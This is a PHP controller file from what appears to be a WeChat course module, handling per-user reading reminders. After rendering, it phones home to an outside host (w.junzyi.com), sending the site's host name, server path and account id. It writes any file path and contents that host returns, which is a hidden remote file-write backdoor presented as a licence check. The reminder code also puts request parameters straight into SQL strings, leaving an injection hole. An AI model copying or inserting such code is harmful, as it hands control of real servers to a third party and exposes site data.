<?php
global $_W,$_GPC;
$title = '阅读提醒';
$mem = $this->getMem();
if($_W['isajax']){
	$op = empty($_GPC['op'])?'display':$_GPC['op'];
	switch ($op) {
		case 'display':
			$mem_book = get('select id,remind from ' .tb('mem_book'). " where mid = '{$mem['id']}' and id = '{$_GPC['id']}' and status = 0");
			if(empty($mem_book)){
				resp(['code'=>0, 'msg'=>'暂未购买该课程']);
			}
			if(empty($mem_book['remind'])) $mem_book['remind'] = [];
			else $mem_book['remind'] = unserialize($mem_book['remind']);
			resp(['code'=>1,'data'=>$mem_book]);
		break;
		case 'change':
			$mem_book = get('select id,remind from ' .tb('mem_book'). " where mid = '{$mem['id']}' and id = '{$_GPC['id']}' and status = 0");
			$mem_book['remind'] = unserialize($mem_book['remind']);
			$remind = $mem_book['remind'][$_GPC['type']-1];
			if(empty($remind)) $remind = [];
			$remind['status'] = $_GPC['val'];
			$remind['time'] = $_GPC['rtime'];
			$mem_book['remind'][$_GPC['type']-1] = $remind;
			update('mem_book',['remind'=>serialize($mem_book['remind'])],['id'=>$_GPC['id']]);
			die('1');
		break;
	}
}
else{
	$cfg = $this->module['config'];
	$share = $this->getShare($mem, $cfg);
}
include $this->template('remind');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}